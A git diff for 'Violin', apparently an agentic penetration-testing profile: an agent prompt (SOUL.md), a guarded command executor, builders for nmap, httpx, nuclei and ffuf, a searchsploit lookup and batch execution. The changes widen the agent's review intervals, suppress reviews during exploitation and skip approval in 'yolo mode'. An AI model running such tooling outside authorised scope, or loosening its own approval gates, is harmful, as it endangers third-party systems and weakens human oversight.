diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..057fd7a --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,32 @@ +name: Violin CI + +on: + push: + pull_request: + +jobs: + test: + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + python: ["3.11", "3.12", "3.13"] + runs-on: ${{ matrix.os }} + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python }} + - uses: astral-sh/setup-uv@v6 + with: + enable-cache: true + - name: Install development dependencies + run: uv sync --dev + - name: Ruff lint + run: uv run ruff check . + - name: Ruff format + run: uv run ruff format --check . + - name: Run tests + run: uv run pytest -q -p no:cacheprovider + - name: Validate release + run: uv run python scripts/violin_guard.py check-release diff --git a/README.md b/README.md index 3427aa2..14a8026 100644 --- a/README.md +++ b/README.md @@ -113,14 +113,14 @@ graph TB subgraph "Your Machine" HE["Hermes Agent"] VI["Violin Profile"] - GUARD["violin_guard.py"] + GUARD["violin_guard execution + evidence"] end subgraph "Violin Skills" SK["SKILL.md"] PB["31 Playbooks"] REF["8 References"] - TEMP["6 Templates"] + TEMP["10 Templates"] end subgraph "Hermes Built-in Tools" @@ -218,7 +218,7 @@ violin/ ├── SKILL.md # Orchestrator skill (playbook index, workflow) ├── playbooks/ # 31 playbooks (7 phase + 24 vuln-class) ├── references/ # 8 reference documents - └── templates/ # 6 templates (PTT, hypothesis board, scope, report, methodology gates, transparency boilerplate) + └── templates/ # 10 engagement, evidence, and methodology templates ``` --- @@ -282,4 +282,4 @@ See [SECURITY.md](SECURITY.md) for reporting vulnerabilities. ## License -MIT — see [LICENSE](LICENSE). \ No newline at end of file +MIT — see [LICENSE](LICENSE). diff --git a/SOUL.md b/SOUL.md index 2d7f995..1c3624a 100644 --- a/SOUL.md +++ b/SOUL.md @@ -26,22 +26,18 @@ You are a senior security tester and reporting assistant. Be methodical, evidenc - Ask concise scoping questions when the target, authorisation, testing mode, or risk tolerance is unclear. - Maintain a clear trail from scope → method → evidence → finding → remediation. - Treat `skills/pentest/references/standards.md` as the authoritative safety policy for approval tiers, blocked actions, evidence handling, rate limits, and scope allowlists. -- **Use `violin_exec` for every target-touching command** (plugin: `violin-guard`). It re-runs `check-command` server-side and returns `status: denied` on BLOCK — there is no way to skip the gate. After running the command on-target, update `ptt.md` / `state/history.md` / `hypothesis-board.md`, then call `violin_sync_done(eng_dir)`; until you do, the next `violin_exec` returns `status: sync_required` and releases no command. Do not bypass with raw `terminal` for engagement targets. (Raw `terminal` is only for host-local, non-target ops like editing notes/git.) Every 5 approved target commands (and every 10 messages if you use `violin_message_tick`), the next `violin_exec` returns `status: heartbeat_required` — re-read `skills/pentest/SKILL.md` (workflow, drift guard, vuln playbooks), then review scope.yaml / ptt.md / hypotheses.md / history.md for drift, then call `violin_heartbeat_done(eng_dir)` to clear it. +- **Use the `violin-guard` tools for all target interaction.** Use `violin_target` to resolve the current in-scope target, `violin_exec` for single commands, and `violin_exec_burst` for exploit/race batches. Never use raw `terminal` for target-touching commands. If `violin_exec` returns `sync_required`, stop issuing target commands: run/update the pending command's artifacts (`state/history.md`, `state/ptt.md`, and `hypotheses.md` for vuln-research/exploitation), then call `violin_sync_done(eng_dir)`. At session bootstrap only, `sync-clear` may drop a prior-session lock. Heartbeat cadence is 20 approved target commands / 30 messages; `heartbeat_required` means re-read `skills/pentest/SKILL.md`, review scope/PTT/hypotheses/history, then call `violin_heartbeat_done`. - **Session cross-reference:** At session start, run `session_search(query="")` to check for prior engagements on the same or related targets. Load relevant findings into `$ENG_DIR/evidence/cross-referenced/` to avoid re-testing and enable longitudinal analysis. ## Workflow Drift Guard -The authoritative drift guard is in [`skills/pentest/SKILL.md §2`](./skills/pentest/SKILL.md#2-workflow-drift-guard). This section states the always-on invariants only. +Detailed procedure lives in `skills/pentest/SKILL.md §2`; keep SOUL to hard invariants only. -1. **Step 0 — Bootstrap first.** Before any other action in a new engagement, run `playbooks/scoping.md §0` to create `$ENG_DIR/`, `scope/scope.yaml`, `state/ptt.md`, `hypotheses.md`, and `state/history.md`. Verify with `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py check-bootstrap --eng-dir "$ENG_DIR"`. Exit code 1 means **STOP** — no target interaction allowed. -1.5. **Skill-load gate** — after bootstrap, create a skill-load marker with `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py check-skill-loaded --eng-dir "$ENG_DIR" --session-id "$(date +%F-%H%M)-session"`. Pass `--skill-loaded-file "$ENG_DIR/state/.skill-loaded-"` into every later `check-command` call. A missing or stale marker blocks target-touching commands; recreate only after `/new`, `/goal set`, or context compression. -2. Keep a `todo` item named `phase-gate` showing the current phase. -3. Before each new tool batch, verify the phase, scope, and target are all aligned. -4. Every target-touching terminal command MUST go through the `violin_exec` tool (plugin `violin-guard`), which runs `check-command` internally. Raw `terminal` for targets is forbidden. After each command, update the tracking artifacts and call `violin_sync_done` before the next target command. -5. After context compression or resume, reload SKILL.md §2 and restore investigation state (`$ENG_DIR/hypotheses.md` + evidence). -6. Never skip REPORTING or RETROSPECTIVE; if time runs out, record the gap explicitly. -7. **PTT and history MUST be updated via guard** — after every tool batch, run `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py record-ptt` (exit 0 required before next batch). After every terminal command, run `python $HOME/.hermes/profiles/violin/scripts/violin_guard.py record-history` (exit 0 required before next command). These are not optional prose rules — they are enforced by `$HOME/.hermes/profiles/violin/scripts/violin_guard.py` and skipping them is a drift signal that must be surfaced. -8. **Periodic engagement-file review (heartbeat gate)** — enforced by the `violin-guard` plugin. Every 5 approved target commands (count tracked in `$ENG_DIR/state/.violin_heartbeat.json`), the next `violin_exec` returns `status: heartbeat_required` and releases no command until you **re-read `skills/pentest/SKILL.md`** (engagement workflow, drift guard, vuln playbooks) and review `scope.yaml` / `state/ptt.md` / `hypotheses.md` / `state/history.md` for drift, then call `violin_heartbeat_done(eng_dir)`. Additionally, call `violin_message_tick(eng_dir)` once per assistant message — every 10 messages it sets the same lock. This is a hard gate: you cannot skip the review. Reset the counters any time with `rm "$ENG_DIR/state/.violin_heartbeat.json"`. +- Bootstrap and scope come first: no target interaction until `$ENG_DIR`, `scope/scope.yaml`, `state/ptt.md`, `hypotheses.md`, and `state/history.md` exist and pass guard checks. +- Target-touching commands use `violin_exec` or `violin_exec_burst`; raw `terminal` is only for host-local work. +- `sync_required` means reconcile the pending command's artifacts, then call `violin_sync_done`; do not retry target commands. +- `heartbeat_required` means re-read `skills/pentest/SKILL.md`, review scope/PTT/hypotheses/history, then call `violin_heartbeat_done`. +- Never skip REPORTING or RETROSPECTIVE; record any gap explicitly. ## Boundary diff --git a/config.yaml b/config.yaml index 68b1f25..26e1932 100644 --- a/config.yaml +++ b/config.yaml @@ -1,8 +1,5 @@ -# Model/provider: Inherits the normal Hermes default by default. -# Override here to pin Violin to a specific model/provider. -model: - default: deepseek/deepseek-v4-flash - provider: openrouter +# Model/provider intentionally omitted: Violin inherits the user's configured +# Hermes default and does not require a profile-specific provider or API key. agent: max_turns: 60 @@ -144,6 +141,9 @@ approvals: security: redact_secrets: true +browser: + allow_unsafe_evaluate: true + updates: pre_update_backup: false backup_keep: 5 diff --git a/distribution.yaml b/distribution.yaml index 879e2e5..9a04743 100644 --- a/distribution.yaml +++ b/distribution.yaml @@ -1,6 +1,6 @@ # violin - supervised agentic Hermes pentest profile name: violin -version: 1.1.0 +version: 1.2.0 description: "A supervised agentic Hermes penetration testing profile for authorised Kali/Parrot-based security assessment, reconnaissance, exploit validation, and reporting workflows." hermes_requires: ">=0.18.0" author: "Violin contributors" @@ -14,7 +14,9 @@ distribution_owned: - CONTRIBUTING.md - SECURITY.md - config.yaml + - pyproject.toml - skills/ - scripts/ + - plugins/ - assets/ - .github/ diff --git a/plugins/__init__.py b/plugins/__init__.py new file mode 100644 index 0000000..117e1ee --- /dev/null +++ b/plugins/__init__.py @@ -0,0 +1 @@ +"""Violin plugin packages (Hermes tool plugins).""" diff --git a/plugins/violin_guard/__init__.py b/plugins/violin_guard/__init__.py index 0bd71b9..23dd280 100644 --- a/plugins/violin_guard/__init__.py +++ b/plugins/violin_guard/__init__.py @@ -1,19 +1,49 @@ """Violin guard plugin — typed guard tools + forced check-command gate + doc-sync.""" -from . import schemas, tools + +from __future__ import annotations + +import sys +from pathlib import Path + +# Hermes loads profile plugins directly from ``/plugins`` and does not +# add the profile's ``scripts`` directory to Python's import path. Bootstrap the +# shared guard package before importing tool modules that depend on it. +_PROFILE_HOME = Path(__file__).resolve().parents[2] +_SCRIPTS_DIR = _PROFILE_HOME / "scripts" +if str(_SCRIPTS_DIR) not in sys.path: + sys.path.insert(0, str(_SCRIPTS_DIR)) + +from . import schemas, tools # noqa: E402 - profile scripts path is required first _TOOLS = ( - ("violin_check_command", schemas.CHECK_COMMAND_SCHEMA, tools.handle_check_command, "🛡️"), - ("violin_record_ptt", schemas.RECORD_PTT_SCHEMA, tools.handle_record_ptt, "📝"), - ("violin_record_hypothesis", schemas.RECORD_HYPOTHESIS_SCHEMA, tools.handle_record_hypothesis, "🔎"), - ("violin_record_history", schemas.RECORD_HISTORY_SCHEMA, tools.handle_record_history, "🕓"), - ("violin_exec", schemas.EXEC_SCHEMA, tools.handle_exec, "⚡"), - ("violin_sync_done", schemas.SYNC_DONE_SCHEMA, tools.handle_sync_done, "✅"), - ("violin_heartbeat_done", schemas.HEARTBEAT_DONE_SCHEMA, tools.handle_heartbeat_done, "💓"), - ("violin_message_tick", schemas.MESSAGE_TICK_SCHEMA, tools.handle_message_tick, "💬"), + ("violin_check_command", schemas.CHECK_COMMAND_SCHEMA, tools.handle_check_command, "🛡️"), + ("violin_record_ptt", schemas.RECORD_PTT_SCHEMA, tools.handle_record_ptt, "📝"), + ( + "violin_record_hypothesis", + schemas.RECORD_HYPOTHESIS_SCHEMA, + tools.handle_record_hypothesis, + "🔎", + ), + ("violin_record_history", schemas.RECORD_HISTORY_SCHEMA, tools.handle_record_history, "🕓"), + ("violin_exec", schemas.EXEC_SCHEMA, tools.handle_exec, "⚡"), + ("violin_exec_status", schemas.EXEC_STATUS_SCHEMA, tools.handle_exec_status, "i"), + ("violin_exec_cancel", schemas.EXEC_CANCEL_SCHEMA, tools.handle_exec_cancel, "x"), + ("violin_sync_done", schemas.SYNC_DONE_SCHEMA, tools.handle_sync_done, "✅"), + ("violin_heartbeat_done", schemas.HEARTBEAT_DONE_SCHEMA, tools.handle_heartbeat_done, "💓"), + ("violin_message_tick", schemas.MESSAGE_TICK_SCHEMA, tools.handle_message_tick, "💬"), + ("violin_exec_burst", schemas.EXEC_BURST_SCHEMA, tools.handle_exec_burst, "🚀"), + ("violin_target", schemas.TARGET_SCHEMA, tools.handle_target, "🎯"), + ("violin_status", schemas.STATUS_SCHEMA, tools.handle_status, "📊"), + ("violin_search_exploit", schemas.SEARCH_EXPLOIT_SCHEMA, tools.handle_search_exploit, "?"), + ("violin_nmap", schemas.NMAP_SCHEMA, tools.handle_nmap, "N"), + ("violin_httpx", schemas.HTTPX_SCHEMA, tools.handle_httpx, "H"), + ("violin_nuclei", schemas.NUCLEI_SCHEMA, tools.handle_nuclei, "V"), + ("violin_ffuf", schemas.FFUF_SCHEMA, tools.handle_ffuf, "F"), ) def register(ctx) -> None: for name, schema, handler, emoji in _TOOLS: - ctx.register_tool(name=name, toolset="violin_guard", - schema=schema, handler=handler, emoji=emoji) + ctx.register_tool( + name=name, toolset="violin_guard", schema=schema, handler=handler, emoji=emoji + ) diff --git a/plugins/violin_guard/adapters.py b/plugins/violin_guard/adapters.py new file mode 100644 index 0000000..6113210 --- /dev/null +++ b/plugins/violin_guard/adapters.py @@ -0,0 +1,182 @@ +"""Typed command builders and read-only exploit search helpers.""" + +from __future__ import annotations + +import json +import re +import shlex +import shutil +import subprocess +from typing import Any + + +def _quote(value: Any) -> str: + text = str(value) + if "\x00" in text or "\n" in text or "\r" in text: + raise ValueError("adapter values must be single-line text") + return shlex.quote(text) + + +def _extra(values: Any) -> str: + items = values or [] + if not isinstance(items, list) or len(items) > 20: + raise ValueError("extra_args must be an array of at most 20 arguments") + return " ".join(_quote(item) for item in items) + + +def build_nmap(args: dict) -> str: + target = args.get("target") + if not target: + raise ValueError("target is required") + scan_type = args.get("scan_type", "-sCV") + if scan_type not in {"-sV", "-sC", "-sCV", "-sn", "-Pn"}: + raise ValueError("unsupported scan_type") + parts = ["nmap", scan_type] + if args.get("ports"): + if not re.fullmatch(r"[0-9,-]+", str(args["ports"])): + raise ValueError("ports must contain only digits, commas, and hyphens") + parts.extend(["-p", str(args["ports"])]) + extra = _extra(args.get("extra_args")) + if extra: + parts.append(extra) + parts.append(_quote(target)) + return " ".join(parts) + + +def build_httpx(args: dict) -> str: + target = args.get("target") + if not target: + raise ValueError("target is required") + parts = ["httpx", "-u", _quote(target), "-json"] + extra = _extra(args.get("extra_args")) + if extra: + parts.append(extra) + return " ".join(parts) + + +def build_nuclei(args: dict) -> str: + target = args.get("target") + if not target: + raise ValueError("target is required") + parts = ["nuclei", "-u", _quote(target), "-jsonl"] + if args.get("templates"): + parts.extend(["-t", _quote(args["templates"])]) + if args.get("severity"): + severity = str(args["severity"]).lower() + if not re.fullmatch( + r"(info|low|medium|high|critical)(,(info|low|medium|high|critical))*", severity + ): + raise ValueError("invalid severity list") + parts.extend(["-severity", severity]) + extra = _extra(args.get("extra_args")) + if extra: + parts.append(extra) + return " ".join(parts) + + +def build_ffuf(args: dict) -> str: + url = args.get("url") or args.get("target") + wordlist = args.get("wordlist") + if not url or not wordlist: + raise ValueError("url and wordlist are required") + if "FUZZ" not in str(url): + raise ValueError("ffuf url must contain the FUZZ marker") + parts = ["ffuf", "-u", _quote(url), "-w", _quote(wordlist), "-json"] + for header in args.get("headers") or []: + parts.extend(["-H", _quote(header)]) + extra = _extra(args.get("extra_args")) + if extra: + parts.append(extra) + return " ".join(parts) + + +BUILDERS = { + "nmap": build_nmap, + "httpx": build_httpx, + "nuclei": build_nuclei, + "ffuf": build_ffuf, +} + + +def available(tool: str, backend: str, container: str = "kali-pentest") -> tuple[bool, str]: + if backend == "local": + path = shutil.which(tool) + return bool(path), path or f"{tool} is not installed or not on PATH" + if backend != "docker": + return False, "backend must be local or docker" + if shutil.which("docker") is None: + return False, "docker is not installed or not on PATH" + result = subprocess.run( + ["docker", "exec", container, "sh", "-lc", f"command -v {shlex.quote(tool)}"], + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=15, + check=False, + ) + return result.returncode == 0, result.stdout.strip() or result.stderr.strip() + + +def search_exploit(args: dict) -> dict[str, Any]: + query = " ".join( + str(args.get(key) or "").strip() for key in ("product", "version", "service", "cve") + ).strip() + if not query: + raise ValueError("provide product, version, service, or cve") + binary = shutil.which("searchsploit") + if not binary: + return { + "available": False, + "tool": "searchsploit", + "message": "searchsploit is not installed or not on PATH", + "candidates": [], + "online_corroboration_required": True, + "executed_candidates": False, + } + result = subprocess.run( + [binary, "--json", query], + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=30, + check=False, + ) + if result.returncode not in (0, 1): + raise RuntimeError(result.stderr.strip() or "searchsploit failed") + try: + payload = json.loads(result.stdout or "{}") + except json.JSONDecodeError as exc: + raise ValueError("searchsploit returned malformed JSON") from exc + rows = [] + for source in (payload.get("RESULTS_EXPLOIT", []), payload.get("RESULTS_SHELLCODE", [])): + if isinstance(source, list): + rows.extend(source) + seen: set[tuple[str, str]] = set() + candidates = [] + for row in rows: + title = str(row.get("Title") or row.get("title") or "").strip() + path = str(row.get("Path") or row.get("path") or "").strip() + key = (title, path) + if not title or key in seen: + continue + seen.add(key) + candidates.append( + { + "title": title, + "path": path, + "platform": row.get("Platform") or row.get("platform"), + "type": row.get("Type") or row.get("type"), + "identifiers": [value for value in (args.get("cve"),) if value], + "provenance": "local-searchsploit", + } + ) + return { + "available": True, + "tool": "searchsploit", + "query": query, + "candidates": candidates, + "online_corroboration_required": True, + "executed_candidates": False, + } diff --git a/plugins/violin_guard/executor.py b/plugins/violin_guard/executor.py new file mode 100644 index 0000000..94612f6 --- /dev/null +++ b/plugins/violin_guard/executor.py @@ -0,0 +1,300 @@ +"""Guarded process execution and evidence persistence for Violin tools.""" + +from __future__ import annotations + +import json +import os +import re +import shutil +import signal +import subprocess +import time +import uuid +from datetime import UTC, datetime +from pathlib import Path +from typing import Any + +from guard.core import LOCAL_TOOLS, command_leading_tool + +from . import utils + +SCHEMA_VERSION = 2 +DEFAULT_TIMEOUT = 180 +MIN_TIMEOUT = 1 +MAX_TIMEOUT = 1800 +MAX_OUTPUT_BYTES = 10 * 1024 * 1024 +PREVIEW_BYTES = 32 * 1024 +DOCKER_CONTAINER_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]{0,127}$") + + +def _utc_now() -> str: + return datetime.now(UTC).isoformat().replace("+00:00", "Z") + + +def _atomic_json(path: Path, value: dict[str, Any]) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + tmp = path.with_suffix(path.suffix + ".tmp") + tmp.write_text(json.dumps(value, indent=2, sort_keys=True), encoding="utf-8") + tmp.replace(path) + + +def _read_json(path: Path) -> dict[str, Any]: + try: + return json.loads(path.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError): + return {} + + +def _resolve_engagement(eng_dir: str) -> Path: + path = Path(eng_dir).resolve() + if not path.is_dir(): + raise ValueError(f"engagement directory not found: {path}") + return path + + +def _resolve_cwd(eng_dir: Path, cwd: str) -> Path: + candidate = (eng_dir / (cwd or ".")).resolve() + try: + candidate.relative_to(eng_dir) + except ValueError as exc: + raise ValueError("cwd must stay inside the engagement directory") from exc + if not candidate.is_dir(): + raise ValueError(f"execution cwd not found: {candidate}") + return candidate + + +def _label(value: str) -> str: + cleaned = re.sub(r"[^A-Za-z0-9_.-]+", "-", value.strip()).strip("-.") + return (cleaned or "command")[:64] + + +def _timeout(value: Any) -> int: + try: + parsed = int(value or DEFAULT_TIMEOUT) + except (TypeError, ValueError) as exc: + raise ValueError("timeout_seconds must be an integer") from exc + if not MIN_TIMEOUT <= parsed <= MAX_TIMEOUT: + raise ValueError(f"timeout_seconds must be between {MIN_TIMEOUT} and {MAX_TIMEOUT}") + return parsed + + +def _command_argv( + command: str, backend: str, cwd: Path, eng_dir: Path, container: str +) -> list[str]: + if backend == "local": + if os.name == "nt": + return [os.environ.get("COMSPEC", "cmd.exe"), "/d", "/s", "/c", command] + return ["/bin/sh", "-lc", command] + if backend != "docker": + raise ValueError("backend must be local or docker") + if not DOCKER_CONTAINER_RE.fullmatch(container): + raise ValueError("invalid Docker container name") + if shutil.which("docker") is None: + raise ValueError("Docker backend unavailable: docker executable not found") + relative = cwd.relative_to(eng_dir).as_posix() + docker_cwd = "/engagement" if relative == "." else f"/engagement/{relative}" + return ["docker", "exec", "-i", "-w", docker_cwd, container, "sh", "-lc", command] + + +def _terminate_pid(pid: int) -> None: + if pid <= 0: + return + if os.name == "nt": + subprocess.run( + ["taskkill", "/PID", str(pid), "/T", "/F"], + capture_output=True, + check=False, + ) + else: + try: + os.killpg(pid, signal.SIGTERM) + time.sleep(0.2) + os.killpg(pid, signal.SIGKILL) + except ProcessLookupError: + pass + + +def _preview(path: Path) -> str: + with path.open("rb") as handle: + return handle.read(PREVIEW_BYTES).decode("utf-8", errors="replace") + + +def _record_history(eng_dir: Path, command: str, exit_code: int, phase: str, evidence: str) -> None: + result = utils.run_guard( + "record-history", + eng_dir=str(eng_dir), + command=command, + exit_code=exit_code, + phase=phase, + evidence=evidence, + ) + if result.returncode != 0: + raise RuntimeError((result.stdout + result.stderr).strip() or "history recording failed") + + +def _commit_guard_state(eng_dir: Path, command: str, phase: str) -> int: + utils.record_ok_check(str(eng_dir), command, phase) + remaining = utils.spend_sync_credit(str(eng_dir)) + utils.mark_pending_sync(str(eng_dir), command, phase) + count = utils.tick_command(str(eng_dir)) + if count % utils.COMMAND_INTERVAL == 0 and phase.upper().replace("-", "_") not in { + "EXPLOITATION", + "POST_EXPLOITATION", + }: + utils.set_heartbeat_pending( + str(eng_dir), + f"Reached {count} executed target commands. Review engagement files for drift.", + ) + return remaining + + +def execute( + command: str, + *, + eng_dir: str, + phase: str, + backend: str = "local", + timeout_seconds: Any = DEFAULT_TIMEOUT, + cwd: str = "", + label: str = "", + docker_container: str = "kali-pentest", +) -> dict[str, Any]: + """Execute one already-authorized command and persist its complete receipt.""" + engagement = _resolve_engagement(eng_dir) + workdir = _resolve_cwd(engagement, cwd) + timeout = _timeout(timeout_seconds) + execution_id = str(uuid.uuid4()) + started_at = _utc_now() + stem = f"{started_at[:19].replace(':', '')}-{execution_id[:8]}-{_label(label)}" + evidence_dir = engagement / "evidence" / "executions" + stdout_path = evidence_dir / f"{stem}.stdout.txt" + stderr_path = evidence_dir / f"{stem}.stderr.txt" + manifest_path = evidence_dir / f"{stem}.json" + registry_path = engagement / "state" / "executions" / f"{execution_id}.json" + evidence_dir.mkdir(parents=True, exist_ok=True) + argv = _command_argv(command, backend, workdir, engagement, docker_container) + record: dict[str, Any] = { + "schema_version": SCHEMA_VERSION, + "execution_id": execution_id, + "status": "starting", + "backend": backend, + "command": command, + "phase": phase, + "cwd": str(workdir), + "started_at": started_at, + "pid": None, + } + _atomic_json(registry_path, record) + timed_out = False + output_limited = False + cancelled = False + proc: subprocess.Popen | None = None + try: + with stdout_path.open("wb") as stdout_file, stderr_path.open("wb") as stderr_file: + popen_kwargs: dict[str, Any] = { + "cwd": str(workdir), + "stdout": stdout_file, + "stderr": stderr_file, + "stdin": subprocess.DEVNULL, + "shell": False, + } + if os.name == "nt": + popen_kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP + else: + popen_kwargs["start_new_session"] = True + proc = subprocess.Popen(argv, **popen_kwargs) + record.update(status="running", pid=proc.pid) + _atomic_json(registry_path, record) + deadline = time.monotonic() + timeout + while proc.poll() is None: + current = _read_json(registry_path) + if current.get("cancel_requested"): + cancelled = True + _terminate_pid(proc.pid) + break + if time.monotonic() >= deadline: + timed_out = True + _terminate_pid(proc.pid) + break + stdout_file.flush() + stderr_file.flush() + if stdout_path.stat().st_size + stderr_path.stat().st_size > MAX_OUTPUT_BYTES: + output_limited = True + _terminate_pid(proc.pid) + break + time.sleep(0.1) + try: + exit_code = proc.wait(timeout=5) + except subprocess.TimeoutExpired: + _terminate_pid(proc.pid) + exit_code = proc.wait(timeout=5) + except Exception as exc: + exit_code = -1 + stderr_path.write_text(f"executor error: {exc}\n", encoding="utf-8") + + completed_at = _utc_now() + rel_manifest = manifest_path.relative_to(engagement).as_posix() + rel_stdout = stdout_path.relative_to(engagement).as_posix() + rel_stderr = stderr_path.relative_to(engagement).as_posix() + receipt = { + **record, + "status": "cancelled" + if cancelled + else "timed_out" + if timed_out + else "output_limited" + if output_limited + else "completed", + "completed_at": completed_at, + "exit_code": exit_code, + "timed_out": timed_out, + "cancelled": cancelled, + "output_limited": output_limited, + "evidence_paths": { + "manifest": rel_manifest, + "stdout": rel_stdout, + "stderr": rel_stderr, + }, + } + _atomic_json(manifest_path, receipt) + _atomic_json(registry_path, receipt) + _record_history(engagement, command, exit_code, phase, rel_manifest) + if command_leading_tool(command) in LOCAL_TOOLS: + remaining = utils.sync_credit_remaining(str(engagement)) + else: + remaining = _commit_guard_state(engagement, command, phase) + return { + **receipt, + "executed": True, + "stdout_preview": _preview(stdout_path), + "stderr_preview": _preview(stderr_path), + "sync_required": remaining <= 0, + "sync_credit_remaining": remaining, + } + + +def status(eng_dir: str, execution_id: str) -> dict[str, Any]: + engagement = _resolve_engagement(eng_dir) + if not re.fullmatch(r"[0-9a-fA-F-]{36}", execution_id): + raise ValueError("invalid execution_id") + path = engagement / "state" / "executions" / f"{execution_id}.json" + record = _read_json(path) + if not record: + raise ValueError("execution not found") + return record + + +def cancel(eng_dir: str, execution_id: str) -> dict[str, Any]: + engagement = _resolve_engagement(eng_dir) + path = engagement / "state" / "executions" / f"{execution_id}.json" + record = status(str(engagement), execution_id) + if record.get("status") not in {"starting", "running"}: + return {**record, "cancel_requested": False, "message": "execution is not running"} + pid = record.get("pid") + if not isinstance(pid, int) or pid <= 0: + raise ValueError("running execution has no valid tracked PID") + record["cancel_requested"] = True + record["cancel_requested_at"] = _utc_now() + _atomic_json(path, record) + _terminate_pid(pid) + return {**record, "message": "cancellation requested for tracked process group"} diff --git a/plugins/violin_guard/plugin.yaml b/plugins/violin_guard/plugin.yaml index bf53f73..13014cb 100644 --- a/plugins/violin_guard/plugin.yaml +++ b/plugins/violin_guard/plugin.yaml @@ -1,6 +1,6 @@ name: violin-guard -version: "1.0.0" -description: Typed wrappers over violin_guard.py plus a forced check-command gate and a doc-sync gate (violin_exec) that makes updating ptt.md/history.md/hypothesis-board.md mandatory after every target command. +version: "1.2.0" +description: Typed scope guards and an execute-and-record boundary with bounded synchronization windows. type: tool toolsets: violin_guard: @@ -12,6 +12,16 @@ provides_tools: - violin_record_hypothesis - violin_record_history - violin_exec + - violin_exec_status + - violin_exec_cancel + - violin_search_exploit + - violin_nmap + - violin_httpx + - violin_nuclei + - violin_ffuf - violin_sync_done - violin_heartbeat_done - violin_message_tick + - violin_exec_burst + - violin_target + - violin_status diff --git a/plugins/violin_guard/schemas.py b/plugins/violin_guard/schemas.py index a619094..8550513 100644 --- a/plugins/violin_guard/schemas.py +++ b/plugins/violin_guard/schemas.py @@ -69,7 +69,7 @@ RECORD_HISTORY_SCHEMA = { } EXEC_SCHEMA = { - "description": "FORCED-GATE execution path. Re-runs check-command internally; refuses to return an executable command if the gate BLOCKs OR if a prior command's artifacts (ptt.md/history.md/hypothesis-board.md) are not yet updated. Use this instead of raw terminal for any target-touching command.", + "description": "Authorize, execute, and record one target command. Hard BLOCK and sync_required never create a process; review-tier commands require approval unless Hermes yolo mode is active. Use violin_exec_burst for exploit/race batches; never raw terminal for targets.", "parameters": { "type": "object", "properties": { @@ -79,6 +79,10 @@ EXEC_SCHEMA = { "command": {"type": "string", "description": "Exact on-target command"}, "session_id": {"type": "string"}, "skill_loaded_file": {"type": "string"}, + "backend": {"type": "string", "enum": ["local", "docker"], "default": "local"}, + "timeout_seconds": {"type": "integer", "minimum": 1, "maximum": 1800}, + "cwd": {"type": "string", "description": "Engagement-relative working directory"}, + "label": {"type": "string"}, }, "required": ["eng_dir", "scope", "phase", "command"], "additionalProperties": False, @@ -86,7 +90,7 @@ EXEC_SCHEMA = { } SYNC_DONE_SCHEMA = { - "description": "Call AFTER updating ptt.md / state/history.md / hypothesis-board.md for the last approved command. Verifies the artifacts are fresh, then unlocks the next violin_exec call. Mandatory before the next target command.", + "description": "Call after reconciling the pending command: state/history.md contains the command, state/ptt.md Last updated is fresh, and hypotheses.md Updated is fresh for vuln-research/exploitation. Verifies artifacts and unlocks the next violin_exec. If it still reports stale, fix the listed artifact; do not retry target commands.", "parameters": { "type": "object", "properties": { @@ -98,7 +102,7 @@ SYNC_DONE_SCHEMA = { } HEARTBEAT_DONE_SCHEMA = { - "description": "Call AFTER reviewing the engagement files (scope.yaml / ptt.md / hypotheses.md / history.md) on the periodic cadence (every 5 target commands, or 10 messages if violin_message_tick is used). Clears the heartbeat-pending lock so violin_exec may release the next command. Mandatory once a heartbeat review is due.", + "description": "Call AFTER heartbeat review: re-read skills/pentest/SKILL.md and review scope.yaml / state/ptt.md / hypotheses.md / state/history.md. Cadence is 20 target commands or 30 message ticks; exploitation/post-exploitation suppresses heartbeat. Clears heartbeat lock so violin_exec may release the next command.", "parameters": { "type": "object", "properties": { @@ -110,7 +114,7 @@ HEARTBEAT_DONE_SCHEMA = { } MESSAGE_TICK_SCHEMA = { - "description": "LLM-opt-in message counter. Call ONCE per assistant message during an engagement. Every 10 messages it sets a heartbeat-pending lock (reinforcing the 5-command gate) so the next violin_exec requires violin_heartbeat_done. Returns the running message count.", + "description": "LLM-opt-in message counter. Call once per assistant message during an engagement. Every 30 messages it sets heartbeat-pending so the next violin_exec requires violin_heartbeat_done. Returns the running message count.", "parameters": { "type": "object", "properties": { @@ -121,3 +125,189 @@ MESSAGE_TICK_SCHEMA = { }, } +EXEC_BURST_SCHEMA = { + "name": "violin_exec_burst", + "description": "Single-approval burst gate: PRE-APPROVE a batch of target-touching commands. Prefer commands=[...] inline; commands_file remains supported for newline-delimited command files. The guard runs the FULL safety gate (scope, skill-load, PTT/hypothesis freshness, dangerous/Tier-3 patterns, out-of-scope rejection) on every command in the batch, but amortises the per-command doc-sync tax to a SINGLE sync-done after the whole batch. Use for recon batches and exploit/race batches; for vhosts without /etc/hosts, target the IP and include Host headers (e.g. gobuster -u http://IP -H 'Host: name.htb'). Returns APPROVED/REVIEW/DENIED for the batch; the LAST command arms the normal sync lock so one sync-done unlocks the next call.", + "parameters": { + "type": "object", + "properties": { + "commands": { + "type": "array", + "items": {"type": "string"}, + "description": "inline newline-free commands, PRE-APPROVED AS A BATCH by the operator; preferred over commands_file", + }, + "commands_file": { + "type": "string", + "description": "optional path to a newline-delimited file of commands", + }, + "scope": {"type": "string", "description": "path to scope.yaml"}, + "phase": { + "type": "string", + "description": "engagement phase: recon|vuln-research|exploitation|post-exploitation", + }, + "eng_dir": { + "type": "string", + "description": "engagement dir; enables one-time sync-lock arming on the last command", + }, + "session_id": { + "type": "string", + "description": "session/goal label for skill-load gating", + }, + "skill_loaded_file": {"type": "string", "description": "skill-load marker path"}, + "label": {"type": "string", "description": "optional batch label for logging"}, + "backend": {"type": "string", "enum": ["local", "docker"], "default": "local"}, + "timeout_seconds": {"type": "integer", "minimum": 1, "maximum": 1800}, + "cwd": {"type": "string", "description": "Engagement-relative working directory"}, + "continue_on_error": {"type": "boolean", "default": 